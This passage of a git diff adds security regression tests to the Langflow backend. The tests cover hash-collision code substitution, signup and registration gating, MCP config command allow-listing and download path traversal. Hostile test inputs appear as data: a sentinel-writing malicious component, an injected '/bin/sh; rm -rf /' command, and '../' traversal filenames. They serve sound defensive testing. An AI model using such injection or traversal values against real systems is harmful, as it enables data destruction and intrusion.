collision must NOT run attacker code — the server + substitutes its own trusted copy keyed by the same hash. Proven end-to-end + with a forced collision and a module-level side-effect sentinel: the attacker + payload writes a file at import time, so if it ever executed the sentinel + would exist. It must not. + """ + import lfx.utils.flow_validation as fv + from langflow.services.deps import get_settings_service + from lfx.interface.components import component_cache + + # The server's trusted copy for the (collided) hash: a benign, buildable component. + trusted_path = Path(__file__).parent.parent.parent.parent / "data" / "dynamic_output_component.py" + trusted_code = await trusted_path.read_text(encoding="utf-8") + + # Attacker payload: valid component whose MODULE-LEVEL code drops a sentinel. + # prepare_global_scope() exec's module-level assignments, so this WOULD fire + # at build time if the client bytes were executed. + sentinel = tmp_path / "pwned.txt" + malicious_code = ( + "from lfx.custom import Component\n" + "from lfx.inputs import MessageTextInput\n" + "from lfx.template.field.base import Output\n" + f"_pwn = open({str(sentinel)!r}, 'w').write('pwned')\n" + "class EvilComponent(Component):\n" + ' display_name = "Evil Component"\n' + " inputs = [MessageTextInput(display_name='Input', name='input_value')]\n" + " outputs = [Output(display_name='Output', name='output', method='process_input')]\n" + " def process_input(self) -> str:\n" + " return 'evil'\n" + ) + + settings_service = get_settings_service() + # Restricted mode — the hash gate is the only thing in front of exec(). + monkeypatch.setattr(settings_service.settings, "allow_custom_components", False) + + # Force a 48-bit collision: every blob maps to the same known hash. + collision_hash = "c0ffeec0ffee" # pragma: allowlist secret + monkeypatch.setattr(fv, "_compute_code_hash", lambda _code: collision_hash) + + # Seed the cache so the collided hash resolves to the trusted copy. A non-None + # type_to_current_hash stops the endpoint's lazy builder from rebuilding over the seed. + monkeypatch.setattr(component_cache, "type_to_current_hash", {"EvilComponent": {collision_hash}}) + monkeypatch.setattr(component_cache, "all_known_hashes", {collision_hash}) + monkeypatch.setattr(component_cache, "code_by_hash", {collision_hash: trusted_code}) + + request = CustomComponentRequest(code=malicious_code) + response = await client.post("api/v1/custom_component", json=request.model_dump(), headers=logged_in_headers) + + # The trusted copy built successfully (gate passed via the collided hash)... + assert response.status_code == status.HTTP_200_OK, response.json() + # ...and the attacker's module-level code NEVER executed. + assert not sentinel.exists(), "Attacker module-level code executed — trusted-copy substitution failed" + + +async def test_custom_component_update_runs_trusted_copy_on_hash_collision( + client: AsyncClient, + logged_in_headers: dict, + monkeypatch, + tmp_path, +): + """The /update endpoint must also run the trusted copy on a hash collision. + + Mirror of ``test_custom_component_runs_trusted_copy_on_hash_collision`` for + the update path (#13496). In addition to proving the attacker payload never + executes, this asserts the returned node template carries the trusted code — + not the colliding client bytes — so the substitution can't be undone by + persisting the response into a saved flow and re-building it. + """ + import lfx.utils.flow_validation as fv + from langflow.services.deps import get_settings_service + from lfx.interface.components import component_cache + + trusted_path = Path(__file__).parent.parent.parent.parent / "data" / "dynamic_output_component.py" + trusted_code = await trusted_path.read_text(encoding="utf-8") + + sentinel = tmp_path / "pwned_update.txt" + malicious_code = ( + "from lfx.custom import Component\n" + "from lfx.inputs import MessageTextInput\n" + "from lfx.template.field.base import Output\n" + f"_pwn = open({str(sentinel)!r}, 'w').write('pwned')\n" + "class EvilComponent(Component):\n" + ' display_name = "Evil Component"\n' + " inputs = [MessageTextInput(display_name='Input', name='input_value')]\n" + " outputs = [Output(display_name='Output', name='output', method='process_input')]\n" + " def process_input(self) -> str:\n" + " return 'evil'\n" + ) + + settings_service = get_settings_service() + monkeypatch.setattr(settings_service.settings, "allow_custom_components", False) + + collision_hash = "c0ffeec0ffee" # pragma: allowlist secret + monkeypatch.setattr(fv, "_compute_code_hash", lambda _code: collision_hash) + monkeypatch.setattr(component_cache, "type_to_current_hash", {"EvilComponent": {collision_hash}}) + monkeypatch.setattr(component_cache, "all_known_hashes", {collision_hash}) + monkeypatch.setattr(component_cache, "code_by_hash", {collision_hash: trusted_code}) + + request = UpdateCustomComponentRequest( + code=malicious_code, + frontend_node={"outputs": []}, + field="", + field_value="", + template={}, + ) + response = await client.post("api/v1/custom_component/update", json=request.model_dump(), headers=logged_in_headers) + + assert response.status_code == status.HTTP_200_OK, response.json() + # The attacker's module-level code NEVER executed... + assert not sentinel.exists(), "Attacker module-level code executed — trusted-copy substitution failed" + # ...and the returned node carries the trusted code, not the colliding bytes. + returned_code = response.json().get("template", {}).get("code", {}).get("value") + assert returned_code != malicious_code + assert returned_code == trusted_code + + +async def test_custom_component_fails_closed_when_no_trusted_copy( + client: AsyncClient, + logged_in_headers: dict, + monkeypatch, +): + """Restricted mode must 403 when the hash gate passes but no trusted copy exists. + + Security (#13496): if a submitted blob clears the truncated-hash gate but + ``code_by_hash`` has no entry for that hash (e.g. a poisoned/incomplete + index, or a collision against a hash whose source failed the integrity + check), the endpoint must fail closed rather than fall back to client bytes. + """ + import lfx.utils.flow_validation as fv + from langflow.services.deps import get_settings_service + from lfx.interface.components import component_cache + + code = 'from lfx.custom import Component\nclass Anything(Component):\n display_name = "Anything"\n' + + settings_service = get_settings_service() + monkeypatch.setattr(settings_service.settings, "allow_custom_components", False) + + collision_hash = "c0ffeec0ffee" # pragma: allowlist secret + monkeypatch.setattr(fv, "_compute_code_hash", lambda _code: collision_hash) + # Gate passes (hash is "known"), but there is no trusted source for it. + monkeypatch.setattr(component_cache, "type_to_current_hash", {"Anything": {collision_hash}}) + monkeypatch.setattr(component_cache, "all_known_hashes", {collision_hash}) + monkeypatch.setattr(component_cache, "code_by_hash", {}) + + request = CustomComponentRequest(code=code) + response = await client.post("api/v1/custom_component", json=request.model_dump(), headers=logged_in_headers) + + assert response.status_code == status.HTTP_403_FORBIDDEN, response.json() diff --git a/src/backend/tests/unit/api/v1/test_extensions_route_guard.py b/src/backend/tests/unit/api/v1/test_extensions_route_guard.py index 63e1b82445..50761ee6f0 100644 --- a/src/backend/tests/unit/api/v1/test_extensions_route_guard.py +++ b/src/backend/tests/unit/api/v1/test_extensions_route_guard.py @@ -92,7 +92,16 @@ def test_route_is_mounted_unconditionally() -> None: def collect_paths(routes, prefix: str = "") -> list[str]: out: list[str] = [] for route in routes: - if hasattr(route, "routes"): + # FastAPI >=0.137 includes sub-routers lazily via an internal + # `_IncludedRouter` wrapper (no `.routes`/`.path`); descend through + # its public `original_router` / `include_context` so this works on + # both eager (<=0.136) and lazy (>=0.137) inclusion. + original_router = getattr(route, "original_router", None) + if original_router is not None: + include_context = getattr(route, "include_context", None) + include_prefix = getattr(include_context, "prefix", "") or "" + out.extend(collect_paths(original_router.routes, prefix + include_prefix)) + elif hasattr(route, "routes"): out.extend(collect_paths(route.routes, prefix + getattr(route, "prefix", ""))) elif hasattr(route, "path"): out.append(prefix + route.path) @@ -120,7 +129,16 @@ def test_no_runtime_mutation_routes() -> None: def collect_paths(routes, prefix: str = "") -> list[str]: out: list[str] = [] for route in routes: - if hasattr(route, "routes"): + # FastAPI >=0.137 includes sub-routers lazily via an internal + # `_IncludedRouter` wrapper (no `.routes`/`.path`); descend through + # its public `original_router` / `include_context` so this works on + # both eager (<=0.136) and lazy (>=0.137) inclusion. + original_router = getattr(route, "original_router", None) + if original_router is not None: + include_context = getattr(route, "include_context", None) + include_prefix = getattr(include_context, "prefix", "") or "" + out.extend(collect_paths(original_router.routes, prefix + include_prefix)) + elif hasattr(route, "routes"): out.extend(collect_paths(route.routes, prefix + getattr(route, "prefix", ""))) elif hasattr(route, "path"): out.append(prefix + route.path) diff --git a/src/backend/tests/unit/api/v1/test_models_enabled_providers.py b/src/backend/tests/unit/api/v1/test_models_enabled_providers.py index b6ca724103..f1054f834c 100644 --- a/src/backend/tests/unit/api/v1/test_models_enabled_providers.py +++ b/src/backend/tests/unit/api/v1/test_models_enabled_providers.py @@ -536,6 +536,53 @@ async def test_list_models_returns_live_ollama_models_when_configured(client: As assert ollama_provider["num_models"] == 2 +@pytest.mark.usefixtures("active_user") +async def test_list_models_marks_live_only_provider_enabled(client: AsyncClient, logged_in_headers): + """A configured live-only provider with a fully-deprecated static catalog stays enabled. + + IBM WatsonX must still report is_enabled=True from /models. WatsonX never appears in the + non-deprecated static catalog, so it is only added by replace_with_live_models. If is_enabled + is computed before that append, the WatsonX entry is returned without an is_enabled flag and the + Assistant filters it out, showing "No Model Provider Configured" (GitHub #13735). + """ + live_watsonx_models = [ + {"name": "ibm/granite-4-h-small", "icon": "IBM", "tool_calling": True, "default": True}, + {"name": "meta-llama/llama-3-3-70b-instruct", "icon": "IBM", "tool_calling": True, "default": True}, + ] + + async def mock_get_enabled_providers(*_args, **_kwargs): + return { + "enabled_providers": ["IBM WatsonX"], + "provider_status": {"IBM WatsonX": True}, + } + + def mock_get_live_models(_user_id, provider, model_type="llm"): + if provider == "IBM WatsonX" and model_type == "llm": + return live_watsonx_models + return [] + + with ( + mock.patch( + "langflow.api.v1.models.get_enabled_providers", + side_effect=mock_get_enabled_providers, + ), + mock.patch( + "lfx.base.models.model_utils.get_live_models_for_provider", + side_effect=mock_get_live_models, + ), + ): + response = await client.get("api/v1/models", headers=logged_in_headers) + + assert response.status_code == status.HTTP_200_OK + data = response.json() + watsonx_provider = next((p for p in data if p.get("provider") == "IBM WatsonX"), None) + assert watsonx_provider is not None, "WatsonX should be present via live-model append" + model_names = [m["model_name"] for m in watsonx_provider["models"]] + assert set(model_names) == {"ibm/granite-4-h-small", "meta-llama/llama-3-3-70b-instruct"} + assert watsonx_provider.get("is_enabled") is True + assert watsonx_provider.get("is_configured") is True + + @pytest.mark.usefixtures("active_user") async def test_list_models_ollama_empty_when_live_fetch_returns_empty(client: AsyncClient, logged_in_headers): """When Ollama is configured but live fetch returns no models, Ollama should have no models (no static fallback).""" diff --git a/src/backend/tests/unit/api/v1/test_users.py b/src/backend/tests/unit/api/v1/test_users.py index a5d5fb7a72..6441af4e2e 100644 --- a/src/backend/tests/unit/api/v1/test_users.py +++ b/src/backend/tests/unit/api/v1/test_users.py @@ -22,6 +22,101 @@ async def test_add_user_public_signup(client: AsyncClient): assert result["is_superuser"] is False, "New users should not be superusers" +async def test_add_user_signup_refused_when_disabled(client: AsyncClient): + """Public registration must be refused (403) when ENABLE_SIGNUP is False.""" + from langflow.services.deps import get_settings_service + + auth_settings = get_settings_service().auth_settings + original_signup = auth_settings.ENABLE_SIGNUP + original_auto_login = auth_settings.AUTO_LOGIN + # Pin AUTO_LOGIN to a permissive value so the 403 can only come from ENABLE_SIGNUP=False. + auth_settings.AUTO_LOGIN = False + auth_settings.ENABLE_SIGNUP = False + try: + response = await client.post("api/v1/users/", json={"username": "signupblocked", "password": "newpassword123"}) + assert response.status_code == status.HTTP_403_FORBIDDEN + finally: + auth_settings.ENABLE_SIGNUP = original_signup + auth_settings.AUTO_LOGIN = original_auto_login + + +async def test_add_user_signup_refused_when_auto_login(client: AsyncClient): + """Public registration must be refused (403) when AUTO_LOGIN is enabled.""" + from langflow.services.deps import get_settings_service + + auth_settings = get_settings_service().auth_settings + original_auto_login = auth_settings.AUTO_LOGIN + original_signup = auth_settings.ENABLE_SIGNUP + # Pin ENABLE_SIGNUP to a permissive value so the 403 can only come from AUTO_LOGIN=True. + auth_settings.ENABLE_SIGNUP = True + auth_settings.AUTO_LOGIN = True + try: + response = await client.post( + "api/v1/users/", json={"username": "autologinblocked", "password": "newpassword123"} + ) + assert response.status_code == status.HTTP_403_FORBIDDEN + finally: + auth_settings.AUTO_LOGIN = original_auto_login + auth_settings.ENABLE_SIGNUP = original_signup + + +async def test_add_user_superuser_succeeds_when_signup_disabled(client: AsyncClient, logged_in_headers_super_user): + """An authenticated superuser can still create users when public signup is disabled. + + Disabling public sign up must only block the anonymous path; it must not break the + admin "add user" flow (AdminPage -> useAddUser -> POST /api/v1/users/). + """ + from langflow.services.deps import get_settings_service + + auth_settings = get_settings_service().auth_settings + original_signup = auth_settings.ENABLE_SIGNUP + original_auto_login = auth_settings.AUTO_LOGIN + auth_settings.AUTO_LOGIN = False + auth_settings.ENABLE_SIGNUP = False + try: + # Superuser-authenticated request is allowed through despite signup being disabled. + admin_response = await client.post( + "api/v1/users/", + json={"username": "adminmade", "password": "newpassword123"}, + headers=logged_in_headers_super_user, + ) + assert admin_response.status_code == status.HTTP_201_CREATED + + # The anonymous path is still refused. Clear the cookie jar first: the shared + # AsyncClient persists the superuser's access_token_lf cookie set by the login + # fixture, which would otherwise authenticate this "anonymous" request too. + client.cookies.clear() + anon_response = await client.post("api/v1/users/", json={"username": "anonmade", "password": "newpassword123"}) + assert anon_response.status_code == status.HTTP_403_FORBIDDEN + finally: + auth_settings.ENABLE_SIGNUP = original_signup + auth_settings.AUTO_LOGIN = original_auto_login + + +async def test_add_user_non_superuser_refused_when_signup_disabled(client: AsyncClient, logged_in_headers): + """A regular authenticated (non-superuser) user cannot create users when signup is disabled. + + Only superusers may bypass the gate; being merely authenticated is not enough. + """ + from langflow.services.deps import get_settings_service + + auth_settings = get_settings_service().auth_settings + original_signup = auth_settings.ENABLE_SIGNUP + original_auto_login = auth_settings.AUTO_LOGIN + auth_settings.AUTO_LOGIN = False + auth_settings.ENABLE_SIGNUP = False + try: + response = await client.post( + "api/v1/users/", + json={"username": "regularmade", "password": "newpassword123"}, + headers=logged_in_headers, + ) + assert response.status_code == status.HTTP_403_FORBIDDEN + finally: + auth_settings.ENABLE_SIGNUP = original_signup + auth_settings.AUTO_LOGIN = original_auto_login + + async def test_add_user_duplicate_username(client: AsyncClient): """Test that duplicate usernames are rejected.""" basic_case = {"username": "duplicateuser", "password": "password123"} diff --git a/src/backend/tests/unit/api/v1/test_variable_provider_validation_context.py b/src/backend/tests/unit/api/v1/test_variable_provider_validation_context.py new file mode 100644 index 0000000000..33b956ef2a --- /dev/null +++ b/src/backend/tests/unit/api/v1/test_variable_provider_validation_context.py @@ -0,0 +1,100 @@ +"""Saving a provider API key must validate with the user's saved provider variables. + +User report (Discord, 2026-06-11): with a local OpenAI-compatible server, +the dummy OPENAI_API_KEY cannot be saved — validation receives ONLY the +new variable, never the already-saved OPENAI_BASE_URL, so the check always +hits api.openai.com and 401s. + +Mock boundary: ``validate_model_provider_key`` (a real external call). +""" + +from unittest import mock + +import pytest +from fastapi import status +from httpx import AsyncClient +from langflow.services.variable.constants import CREDENTIAL_TYPE, GENERIC_TYPE + +pytestmark = pytest.mark.no_blockbuster + +CUSTOM_BASE_URL = "http://localhost:11434/v1" + + +async def _delete_variable_if_present(client: AsyncClient, headers: dict, name: str) -> None: + response = await client.get("api/v1/variables/", headers=headers) + for variable in response.json(): + if variable["name"] == name: + await client.delete(f"api/v1/variables/{variable['id']}", headers=headers) + return + + +@pytest.mark.usefixtures("active_user") +async def test_should_validate_key_with_saved_base_url_when_creating_openai_key(client: AsyncClient, logged_in_headers): + # store_environment_variables auto-imports OPENAI_API_KEY from the test env. + await _delete_variable_if_present(client, logged_in_headers, "OPENAI_API_KEY") + + base_url_variable = { + "name": "OPENAI_BASE_URL", + "value": CUSTOM_BASE_URL, + "type": GENERIC_TYPE, + "default_fields": [], + } + response = await client.post("api/v1/variables/", json=base_url_variable, headers=logged_in_headers) + assert response.status_code == status.HTTP_201_CREATED + + key_variable = { + "name": "OPENAI_API_KEY", + "value": "sk-local-dummy", + "type": CREDENTIAL_TYPE, + "default_fields": [], + } + with mock.patch("langflow.api.v1.variable.validate_model_provider_key") as validate: + response = await client.post("api/v1/variables/", json=key_variable, headers=logged_in_headers) + + assert response.status_code == status.HTTP_201_CREATED + validated_vars = validate.call_args.args[1] + assert validated_vars.get("OPENAI_BASE_URL") == CUSTOM_BASE_URL, ( + f"Validation must see the saved base URL, got only: {validated_vars}" + ) + assert validated_vars.get("OPENAI_API_KEY") == "sk-local-dummy" + + +async def test_should_validate_with_owner_provider_vars_not_caller_in_share_aware_update(): + """C4: share-aware update must fetch the OWNER's provider vars, not the caller's.""" + from types import SimpleNamespace + from unittest.mock import AsyncMock + from uuid import uuid4 + + from langflow.api.v1 import variable as variable_module + from langflow.services.database.models.variable.model import VariableUpdate + + caller = SimpleNamespace(id=uuid4()) + owner_id = uuid4() + existing = SimpleNamespace(id=uuid4(), name="OPENAI_API_KEY", user_id=owner_id) + + svc = SimpleNamespace(update_variable_fields=AsyncMock(return_value=existing)) + captured = {} + + def fake_get_all_vars(user_id, _provider): + captured["user_id"] = user_id + return {"OPENAI_BASE_URL": CUSTOM_BASE_URL} + + with ( + mock.patch.object(variable_module, "get_variable_service", return_value=svc), + mock.patch.object(variable_module, "DatabaseVariableService", object), + mock.patch.object(variable_module, "authorized_or_owner_scoped", new=AsyncMock(return_value=existing)), + mock.patch.object(variable_module, "ensure_variable_permission", new=AsyncMock()), + mock.patch.object(variable_module, "get_provider_from_variable_name", return_value="OpenAI"), + mock.patch.object(variable_module, "get_all_variables_for_provider", side_effect=fake_get_all_vars), + mock.patch.object(variable_module, "validate_model_provider_key"), + ): + await variable_module.update_variable( + session=AsyncMock(), + variable_id=existing.id, + variable=VariableUpdate(id=existing.id, name="OPENAI_API_KEY", value="sk-new"), + current_user=caller, + ) + + assert captured["user_id"] == owner_id, ( + f"Provider vars must be fetched for the resource owner, not the caller. Got {captured['user_id']}" + ) diff --git a/src/backend/tests/unit/api/v2/test_files.py b/src/backend/tests/unit/api/v2/test_files.py index 08a3bb2cf0..18f15f7679 100644 --- a/src/backend/tests/unit/api/v2/test_files.py +++ b/src/backend/tests/unit/api/v2/test_files.py @@ -487,11 +487,13 @@ async def test_mcp_servers_file_replacement(files_client, files_created_api_key, mcp_file_ext = await get_mcp_file(files_active_user, extension=True) mcp_file = await get_mcp_file(files_active_user) + first_mcp_config = b'{"mcpServers": {"fetch": {"command": "uvx", "args": ["mcp-server-fetch"]}}}' + second_mcp_config = b'{"mcpServers": {"everything": {}}}' # Upload first _mcp_servers file response1 = await files_client.post( "api/v2/files", - files={"file": (mcp_file_ext, b'{"servers": ["server1"]}')}, + files={"file": (mcp_file_ext, first_mcp_config)}, headers=headers, ) assert response1.status_code == 201 @@ -501,7 +503,7 @@ async def test_mcp_servers_file_replacement(files_client, files_created_api_key, # Upload second _mcp_servers file - should replace the first one response2 = await files_client.post( "api/v2/files", - files={"file": (mcp_file_ext, b'{"servers": ["server2"]}')}, + files={"file": (mcp_file_ext, second_mcp_config)}, headers=headers, ) assert response2.status_code == 201 @@ -519,7 +521,7 @@ async def test_mcp_servers_file_replacement(files_client, files_created_api_key, # Verify the second file can be downloaded with the updated content download2 = await files_client.get(f"api/v2/files/{file2['id']}", headers=headers) assert download2.status_code == 200 - assert download2.content == b'{"servers": ["server2"]}' + assert download2.content == second_mcp_config # Verify the first file no longer exists (should return 404) download1 = await files_client.get(f"api/v2/files/{file1['id']}", headers=headers) diff --git a/src/backend/tests/unit/api/v2/test_mcp_servers_file.py b/src/backend/tests/unit/api/v2/test_mcp_servers_file.py index a95ea0bdeb..91c4052a2f 100644 --- a/src/backend/tests/unit/api/v2/test_mcp_servers_file.py +++ b/src/backend/tests/unit/api/v2/test_mcp_servers_file.py @@ -154,10 +154,8 @@ async def test_mcp_servers_upload_replace(session, storage_service, settings_ser stored_bytes = storage_service._store[expected_path] assert stored_bytes == content2 - # Third upload with server config provided by user - content3 = ( - b'{"mcpServers": {"everything": {"command": "npx", "args": ["-y", "@modelcontextprotocol/server-everything"]}}}' - ) + # Third upload with an (allow-listed) server config provided by the user. + content3 = b'{"mcpServers": {"fetch": {"command": "uvx", "args": ["mcp-server-fetch"]}}}' file3 = UploadFile(filename=mcp_file_ext, file=io.BytesIO(content3)) file3.size = len(content3) @@ -173,6 +171,142 @@ async def test_mcp_servers_upload_replace(session, storage_service, settings_ser assert stored_bytes == content3 +@pytest.mark.asyncio +async def test_mcp_servers_upload_rejects_disallowed_command(session, storage_service, settings_service, current_user): + """An uploaded MCP config with a disallowed command must be rejected (no stdio-spawn RCE). + + The upload path must enforce the same MCPServerConfig allow-list as the + structured /api/v2/mcp/servers endpoints, so it can't be used to smuggle an + arbitrary command that is later spawned via the stdio transport. + """ + mcp_file_ext = await get_mcp_file(current_user, extension=True) + + malicious = b'{"mcpServers": {"evil": {"command": "/bin/sh; rm -rf /", "args": []}}}' + file = UploadFile(filename=mcp_file_ext, file=io.BytesIO(malicious)) + file.size = len(malicious) + + with pytest.raises(HTTPException) as exc_info: + await upload_user_file( + file=file, + session=session, + current_user=current_user, + storage_service=storage_service, + settings_service=settings_service, + ) + + assert exc_info.value.status_code == 422 + # Nothing should have been written to storage on rejection. + assert storage_service._store == {} + # And no database metadata record should have been created either, so a rejected + # upload can't leave a dangling row behind (partial-write regression guard). + assert session._db == {} + + +@pytest.mark.asyncio +async def test_mcp_servers_upload_rejects_not_valid_json(session, storage_service, settings_service, current_user): + """A non-JSON upload to the MCP config path is rejected with 422 (validator JSON branch).""" + mcp_file_ext = await get_mcp_file(current_user, extension=True) + + not_json = b"not json" + file = UploadFile(filename=mcp_file_ext, file=io.BytesIO(not_json)) + file.size = len(not_json) + + with pytest.raises(HTTPException) as exc_info: + await upload_user_file( + file=file, + session=session, + current_user=current_user, + storage_service=storage_service, + settings_service=settings_service, + ) + + assert exc_info.value.status_code == 422 + assert "not valid JSON" in exc_info.value.detail + assert storage_service._store == {} + assert session._db == {} + + +@pytest.mark.asyncio +async def test_mcp_servers_upload_rejects_non_object_mcpservers( + session, storage_service, settings_service, current_user +): + """An ``mcpServers`` value that isn't an object is rejected with 422 (validator shape branch).""" + mcp_file_ext = await get_mcp_file(current_user, extension=True) + + bad_shape = b'{"mcpServers": "x"}' + file = UploadFile(filename=mcp_file_ext, file=io.BytesIO(bad_shape)) + file.size = len(bad_shape) + + with pytest.raises(HTTPException) as exc_info: + await upload_user_file( + file=file, + session=session, + current_user=current_user, + storage_service=storage_service, + settings_service=settings_service, + ) + + assert exc_info.value.status_code == 422 + assert "expected an 'mcpServers' object" in exc_info.value.detail + assert storage_service._store == {} + assert session._db == {} + + +@pytest.mark.asyncio +async def test_mcp_servers_upload_blocked_when_locked_for_non_superuser(session, storage_service, current_user): + """A locked MCP config can't be replaced by a non-superuser via the file-upload path. + + The structured /api/v2/mcp/servers endpoints 403 non-superuser writes while locked, + and this branch writes the same _mcp_servers_.json that get_server_list reads — + so without the same guard the upload path would be a lock bypass. + """ + locked_settings = SimpleNamespace(settings=SimpleNamespace(max_file_size_upload=10, mcp_servers_locked=True)) + current_user.is_superuser = False + + mcp_file_ext = await get_mcp_file(current_user, extension=True) + content = b'{"mcpServers": {"fetch": {"command": "uvx", "args": ["mcp-server-fetch"]}}}' + file = UploadFile(filename=mcp_file_ext, file=io.BytesIO(content)) + file.size = len(content) + + with pytest.raises(HTTPException) as exc_info: + await upload_user_file( + file=file, + session=session, + current_user=current_user, + storage_service=storage_service, + settings_service=locked_settings, + ) + + assert exc_info.value.status_code == 403 + # The lock fires before any write, so nothing is persisted. + assert storage_service._store == {} + assert session._db == {} + + +@pytest.mark.asyncio +async def test_mcp_servers_upload_allowed_when_locked_for_superuser(session, storage_service, current_user): + """A superuser can still replace the MCP config via upload while the lock is on.""" + locked_settings = SimpleNamespace(settings=SimpleNamespace(max_file_size_upload=10, mcp_servers_locked=True)) + current_user.is_superuser = True + + mcp_file_ext = await get_mcp_file(current_user, extension=True) + mcp_file = await get_mcp_file(current_user) + content = b'{"mcpServers": {"fetch": {"command": "uvx", "args": ["mcp-server-fetch"]}}}' + file = UploadFile(filename=mcp_file_ext, file=io.BytesIO(content)) + file.size = len(content) + + await upload_user_file( + file=file, + session=session, + current_user=current_user, + storage_service=storage_service, + settings_service=locked_settings, + ) + + expected_path = f"{current_user.id}/{mcp_file}.json" + assert storage_service._store[expected_path] == content + + @pytest.mark.asyncio async def test_concurrent_update_server_should_not_lose_servers( session, storage_service, settings_service, current_user diff --git a/src/backend/tests/unit/api/v2/test_registration.py b/src/backend/tests/unit/api/v2/test_registration.py index 2a5d2ba3bc..233e46fd4f 100644 --- a/src/backend/tests/unit/api/v2/test_registration.py +++ b/src/backend/tests/unit/api/v2/test_registration.py @@ -190,9 +190,11 @@ class TestAPIEndpoints: from fastapi import FastAPI from fastapi.testclient import TestClient + from langflow.services.auth.utils import get_current_active_user app = FastAPI() app.include_router(router) + app.dependency_overrides[get_current_active_user] = lambda: MagicMock() client = TestClient(app) response = client.post( @@ -210,9 +212,11 @@ class TestAPIEndpoints: """Test registration with invalid email.""" from fastapi import FastAPI from fastapi.testclient import TestClient + from langflow.services.auth.utils import get_current_active_user app = FastAPI() app.include_router(router) + app.dependency_overrides[get_current_active_user] = lambda: MagicMock() client = TestClient(app) response = client.post( @@ -230,9 +234,11 @@ class TestAPIEndpoints: from fastapi import FastAPI from fastapi.testclient import TestClient + from langflow.services.auth.utils import get_current_active_user app = FastAPI() app.include_router(router) + app.dependency_overrides[get_current_active_user] = lambda: MagicMock() client = TestClient(app) response = client.post( @@ -243,6 +249,29 @@ class TestAPIEndpoints: assert response.status_code == 500 assert "Registration failed" in response.json()["detail"] + @pytest.mark.asyncio + @patch("langflow.api.v2.registration.save_registration") + async def test_register_user_requires_auth(self, mock_save): + """POST /registration/ must require authentication (no anonymous email registration).""" + from fastapi import FastAPI, HTTPException + from fastapi.testclient import TestClient + from langflow.services.auth.utils import get_current_active_user + + def _deny(): + raise HTTPException(status_code=403, detail="Not authenticated") + + app = FastAPI() + app.include_router(router) + # If the endpoint were missing the auth dependency, this override would + # never run and save_registration would be reached (200/500). + app.dependency_overrides[get_current_active_user] = _deny + client = TestClient(app) + + response = client.post("/registration/", json={"email": "anon@example.com"}) + + assert response.status_code == 403 + mock_save.assert_not_called() + @pytest.mark.asyncio @patch("langflow.api.v2.registration.load_registration") async def test_get_registration_exists(self, mock_load): diff --git a/src/backend/tests/unit/base/load/test_load.py b/src/backend/tests/unit/base/load/test_load.py index 42fb04d4ac..b52f69d697 100644 --- a/src/backend/tests/unit/base/load/test_load.py +++ b/src/backend/tests/unit/base/load/test_load.py @@ -1,9 +1,13 @@ import inspect import os +from unittest.mock import MagicMock, patch +import httpx import pytest from dotenv import load_dotenv from langflow.load import run_flow_from_json +from langflow.load.utils import GET_FLOW_ERROR_BODY_LIMIT, GET_FLOW_TIMEOUT, get_flow +from lfx.load.utils import UploadError def test_run_flow_from_json_params(): @@ -79,3 +83,53 @@ def test_run_flow_with_fake_env_tweaks(fake_env_file): # Extract and check the output data output_data = result[0].outputs[0].results["message"].data["text"] assert output_data == "**********" + + +def test_get_flow_uses_bounded_http_timeout(): + response = MagicMock() + response.status_code = httpx.codes.OK + response.json.return_value = {"name": "Remote Flow"} + + with patch("langflow.load.utils.httpx.get", return_value=response) as mock_get: + result = get_flow("http://host", "flow-1") + + assert result["name"] == "Remote Flow" + _args, kwargs = mock_get.call_args + assert kwargs["timeout"] == GET_FLOW_TIMEOUT + + +def test_get_flow_raises_upload_error_with_response_body_on_http_error(): + response = MagicMock() + response.status_code = httpx.codes.INTERNAL_SERVER_ERROR + response.text = "database unavailable" + + with patch("langflow.load.utils.httpx.get", return_value=response), pytest.raises(UploadError) as exc_info: + get_flow("http://host", "flow-1") + + message = str(exc_info.value) + assert "500" in message + assert "database unavailable" in message + + +def test_get_flow_raises_upload_error_on_timeout(): + with ( + patch("langflow.load.utils.httpx.get", side_effect=httpx.ReadTimeout("slow host")), + pytest.raises(UploadError) as exc_info, + ): + get_flow("http://host", "flow-1") + + assert "timed out" in str(exc_info.value) + + +def test_get_flow_truncates_large_response_body_in_error(): + response = MagicMock() + response.status_code = httpx.codes.INTERNAL_SERVER_ERROR + response.text = "x" * (GET_FLOW_ERROR_BODY_LIMIT * 10) + + with patch("langflow.load.utils.httpx.get", return_value=response), pytest.raises(UploadError) as exc_info: + get_flow("http://host", "flow-1") + + message = str(exc_info.value) + assert "truncated" in message + # Body portion is capped; the full 5000-char payload is not embedded verbatim. + assert len(message) < len(response.text) diff --git a/src/backend/tests/unit/components/data_source/test_api_request_component.py b/src/backend/tests/unit/components/data_source/test_api_request_component.py index 0f88a484ec..ddcc2310a8 100644 --- a/src/backend/tests/unit/components/data_source/test_api_request_component.py +++ b/src/backend/tests/unit/components/data_source/test_api_request_component.py @@ -363,6 +363,86 @@ class TestAPIRequestComponent(ComponentTestBaseWithoutClient): assert file_path is not None assert file_path.suffix == ".bin" + async def test_response_info_content_disposition_path_traversal(self, component): + """A malicious Content-Disposition filename must not escape the component temp dir. + + Regression for GHSA-h3c6-fqr4-m99p path traversal. + """ + import tempfile + from pathlib import Path + + component_temp_dir = Path(tempfile.gettempdir()) / component.__class__.__name__ + request = httpx.Request("GET", "https://example.com/download") + malicious = Response( + 200, + content=b"payload", + headers={"Content-Disposition": 'attachment; filename="../../../../tmp/evil.sh"'}, + request=request, + ) + + _, file_path = await component._response_info(malicious, with_file_path=True) + + assert file_path is not None + # The filename was reduced to its basename, so the file stays inside the temp dir. + assert file_path.parent.resolve() == component_temp_dir.resolve() + assert file_path.name.endswith("evil.sh") + assert ".." not in file_path.parts + + async def test_response_info_content_disposition_backslash_traversal(self, component): + """Windows-style backslash separators must also be reduced to the basename. + + On POSIX, ``Path(...).name`` treats backslashes as ordinary filename + characters, so the header value must be normalized before stripping + directory parts. Regression for GHSA-h3c6-fqr4-m99p path traversal. + """ + import tempfile + from pathlib import Path + + component_temp_dir = Path(tempfile.gettempdir()) / component.__class__.__name__ + request = httpx.Request("GET", "https://example.com/download") + malicious = Response( + 200, + content=b"payload", + headers={"Content-Disposition": r'attachment; filename="..\..\..\..\tmp\evil.sh"'}, + request=request, + ) + + _, file_path = await component._response_info(malicious, with_file_path=True) + + assert file_path is not None + assert file_path.parent.resolve() == component_temp_dir.resolve() + assert file_path.name.endswith("evil.sh") + assert "\\" not in file_path.name + assert ".." not in file_path.parts + + async def test_response_info_content_disposition_null_byte(self, component): + """A NUL byte in the Content-Disposition filename must be stripped, not crash. + + A NUL byte survives ``Path(...).name`` and would otherwise make the + defense-in-depth ``.resolve()`` raise a cryptic "embedded null character" + ValueError. 